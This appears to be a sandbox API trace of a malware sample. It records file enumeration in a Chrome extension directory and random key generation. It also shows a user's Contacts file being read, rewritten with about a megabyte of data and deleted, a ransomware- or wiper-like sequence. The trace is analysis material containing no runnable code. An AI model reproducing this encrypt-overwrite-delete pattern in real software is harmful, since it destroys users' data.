	[0066.499] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_US\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8412a780, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8412ce90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8412ce90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.500] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.500] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84131cb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841343c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841343c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.500] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.500] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841391e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8413b8f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8413b8f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.501] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.502] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84140710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84142e20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84142e20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.502] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.502] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84147c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8414a350, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8414a350, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.503] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.503] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84153f90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841566a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841566a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.503] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.504] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8415b4c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8415dbd0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8415dbd0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.506] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.506] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841629f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84165100, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84165100, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.506] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.506] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84169f20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8416c630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8416c630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.507] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.507] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84171450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84173b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84173b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.507] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.508] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84176270, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8417b090, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8417b090, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.509] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.509] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8417feb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841825c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841825c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.509] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.509] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841873e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84189af0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84189af0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.510] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.510] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8418e910, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84191020, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84191020, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.510] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.511] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84195e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84198550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84198550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.511] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.512] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8419fa80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841a2190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841a2190, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.512] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.512] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841a6fb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841a96c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841a96c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0067.217] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12606d80*, nNumberOfCharsToWrite=0x41, lpNumberOfCharsWritten=0x127ee914, lpReserved=0x0 | out: lpBuffer=0x12606d80*, lpNumberOfCharsWritten=0x127ee914*=0x41) returned 1
	[0067.223] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x125d17c0 | out: pbBuffer=0x125d17c0) returned 1
	[0067.223] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x1262ae10 | out: pbBuffer=0x1262ae10) returned 1
	[0067.223] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x12603701 | out: pbBuffer=0x12603701) returned 1
	[0067.223] WriteFile (in: hFile=0xc4, lpBuffer=0x12451000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eebec, lpOverlapped=0x0 | out: lpBuffer=0x12451000*, lpNumberOfBytesWritten=0x127eebec*=0x80, lpOverlapped=0x0) returned 1
	[0067.227] SetEvent (hEvent=0x78) returned 1
	[0067.227] ReadFile (in: hFile=0xc0, lpBuffer=0x127f0000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x127f0000*, lpNumberOfBytesRead=0x127eebdc*=0x49a, lpOverlapped=0x0) returned 1
	[0067.229] WriteFile (in: hFile=0xc4, lpBuffer=0x12451000*, nNumberOfBytesToWrite=0x49a, lpNumberOfBytesWritten=0x127eebec, lpOverlapped=0x0 | out: lpBuffer=0x12451000*, lpNumberOfBytesWritten=0x127eebec*=0x49a, lpOverlapped=0x0) returned 1
	[0067.229] ReadFile (in: hFile=0xc0, lpBuffer=0x127f0000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x127f0000*, lpNumberOfBytesRead=0x127eebdc*=0x0, lpOverlapped=0x0) returned 1
	[0067.229] CloseHandle (hObject=0xc4) returned 1
	[0067.229] CloseHandle (hObject=0xc0) returned 1
	[0067.229] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12462000*, nNumberOfCharsToWrite=0x43, lpNumberOfCharsWritten=0x127ee8a0, lpReserved=0x0 | out: lpBuffer=0x12462000*, lpNumberOfCharsWritten=0x127ee8a0*=0x43) returned 1
	[0067.231] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0067.232] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\aclviho asldjfl.contact")) returned 1
	[0067.237] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0067.237] SetEvent (hEvent=0x78) returned 1
	[0067.238] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0067.238] SetEvent (hEvent=0x78) returned 1
	[0067.238] SetEvent (hEvent=0x80) returned 1
	[0067.238] SetEvent (hEvent=0xb4) returned 1
	[0067.238] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0067.239] SetEvent (hEvent=0xb4) returned 1
	[0067.256] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0067.257] SetEvent (hEvent=0xa8) returned 1
	[0067.257] SetEvent (hEvent=0xb4) returned 1
	[0067.258] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0067.258] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0067.259] SetEvent (hEvent=0xb4) returned 1
	[0067.259] SetEvent (hEvent=0x80) returned 1
	[0067.259] SetEvent (hEvent=0x78) returned 1
	[0067.259] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0067.259] SetEvent (hEvent=0x78) returned 1
	[0067.260] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\aclviho asldjfl.contact"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0067.260] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eecfc | out: lpMode=0x127eecfc) returned 0
	[0067.260] WriteFile (in: hFile=0xc0, lpBuffer=0x127f0000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eecec, lpOverlapped=0x0 | out: lpBuffer=0x127f0000*, lpNumberOfBytesWritten=0x127eecec*=0xfa000, lpOverlapped=0x0) returned 1
	[0067.278] CloseHandle (hObject=0xc0) returned 1
	[0067.287] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\aclviho asldjfl.contact")) returned 1
